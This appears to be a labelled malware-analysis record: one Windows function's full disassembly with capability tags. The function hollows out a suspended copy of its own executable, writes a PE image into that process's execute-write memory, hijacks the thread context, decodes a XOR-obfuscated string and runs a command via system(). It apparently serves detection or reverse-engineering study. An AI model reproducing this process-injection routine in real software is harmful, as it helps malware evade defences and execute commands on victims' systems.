Function at 0x14004d390
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create process suspended
Execute command
Read file on windows
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6c8]
sub rsp, 0x7c8
mov r13, rdx
mov r12, rcx
xor ebx, ebx
mov dword [rbp + 0x728], ebx
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
mov r8d, 0x400
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [rsi], 0x4550
jne 0x14004db4f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x54], xmm1
movups xmmword [rbp + 0x64], xmm1
movups xmmword [rbp + 0x74], xmm1
movups xmmword [rbp + 0x84], xmm1
movups xmmword [rbp + 0x94], xmm1
mov dword [rbp + 0xa4], eax
mov dword [rbp + 0x50], 0x68
mov dword [rbp - Ordinal_30], 0x18
mov qword [rbp - 0x10], rbx
mov dword [rbp - 8], 1
xor r9d, r9d
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14004db4f
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rax
or dword [rbp + 0x8c], 0x100
lea rcx, [rbp + 0xc0]
call fcn.140063c90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [reloc.OLEAUT32.dll_SysReAllocString]
movdqa xmmword [rbp + 0x20], xmm1
mov eax, 0x7261
mov word [rbp + 0x10], ax
mov byte [rbp + 0x12], bl
mov rdx, r13
lea rcx, [rbp + 0x30]
call fcn.14004e2f0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
lea edx, [rbx + 2]
call fcn.140063e30
mov rbx, rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
lea rcx, [rax + 0x40]
mov qword [rbp - 0x70], rcx
lea rax, [rbp - 0x80]
mov qword [rbp + 0x728], rax
lea rdi, [rbp + 0x10]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.14004e2f0
add rbx, 0x20
mov qword [rsp + 0x58], rbx
add rdi, 0x20
lea rax, [rbp + 0x50]
cmp rdi, rax
jne 0x14004d500
mov qword [rbp - 0x78], rbx
lea r9, [fcn.140046b30]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x10]
call fcn.140094f94
mov rdi, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x80]
cmp rbx, rdi
je 0x14004d585
nop dword [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14004d55d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xd0]
call fcn.140073880
mov rcx, rax
lea rdx, [0x140127c30]
call fcn.14006ca80
add rbx, 0x20
cmp rbx, rdi
jne 0x14004d550
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movdqa xmm1, xmmword [0x140131460]
movdqu xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x58], 0
mov dword [rbp + 0x728], 2
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
mov rcx, qword [rbp + 0x148]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14004d5ef
mov rax, qword [rbp + 0x118]
mov r8, qword [rax]
test r8, r8
je 0x14004d5ef
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x140]
cmovb r8, qword [rbp + 0x140]
sub r8, rdx
jmp 0x14004d629
test cl, 4
jne 0x14004d61f
mov rax, qword [rbp + 0x110]
mov rcx, qword [rax]
test rcx, rcx
je 0x14004d61f
mov rax, qword [rbp + 0xf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x128]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14004d629
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x14004d638
lea rcx, [rbp - 0x58]
call fcn.1400674b0
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004da9d
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14004da9d
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 8]
lea r8, [rbp]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], rbx
mov r8, r12
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, ebx
cmp bx, word [rsi + 6]
jae 0x14004d76f
movzx eax, word [rsi + 0x14]
add rax, rbx
mov r9d, dword [rax + rsi + 0x28]
mov r8d, dword [rax + rsi + 0x2c]
add r8, r12
mov edx, dword [rax + rsi + 0x24]
add rdx, r15
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc edi
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x14004d730
xor ebx, ebx
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x710]
mov r8d, 0x3ff
mov rbx, qword [rbp + 0x720]
mov rdx, rbx
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14004d7ee
mov eax, dword [rbp + 0x710]
mov byte [rax + rbx], 0
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1c0]
call fcn.140063c90
nop
movdqa xmm1, xmmword [str.0DQC__Y_]
movdqu xmmword [rsp + 0x50], xmm1
mov dl, Ordinal_32
mov r8b, 0x60
mov r9b, 0x79
mov r10b, reloc.WS2_32.dll_WSACleanup
mov r11b, reloc.WS2_32.dll_recv
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor dl, cl
mov byte [rsp + 0x60], dl
xor r8b, cl
mov byte [rsp + 0x61], r8b
xor r9b, cl
mov byte [rsp + 0x62], r9b
xor r10b, cl
mov byte [rsp + 0x63], r10b
xor r11b, cl
mov byte [rsp + 0x64], r11b
mov byte [rsp + 0x65], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x1d0]
call fcn.14006ca80
mov edx, dword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
cmp byte [rbp + 0x730], 0
je 0x14004d9cf
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x140131460]
movdqu xmmword [rbp - 0x28], xmm1
mov byte [rbp - 0x38], 0
mov dword [rbp + 0x728], 9
movups xmmword [rsp + 0x50], xmm0
mov rcx, qword [rbp + 0x248]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14004d933
mov rax, qword [rbp + 0x218]
mov r8, qword [rax]
test r8, r8
je 0x14004d933
mov rax, qword [rbp + 0x1f8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x240]
cmovb r8, qword [rbp + 0x240]
sub r8, rdx
jmp 0x14004d96d
test cl, 4
jne 0x14004d963
mov rax, qword [rbp + 0x210]
mov rcx, qword [rax]
test rcx, rcx
je 0x14004d963
mov rax, qword [rbp + 0x1f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x228]
movsxd r8, dword [rax]
add r8, rcx
sub r8, rdx
jmp 0x14004d96d
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x14004d97c
lea rcx, [rbp - 0x38]
call fcn.1400674b0
nop
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004d9cf
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d9c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d9c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400952ac
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1c0], rbx
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d8]
call fcn.140064fa0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x258]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x58]
call fcn.140046b40
nop
lea rcx, [rbp - 0x80]
call fcn.140063d70
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call fcn.140064fa0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, r13
call fcn.140046b40
xor eax, eax
jmp 0x14004db5c
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004dadb
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004dad6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004dad6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400952ac
movdqa xmm0, xmmword [0x140131460]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
lea rcx, [rbp - 0x80]
call fcn.140063d70
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call fcn.140064fa0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, r13
call fcn.140046b40
mov eax, 1
add rsp, 0x7c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret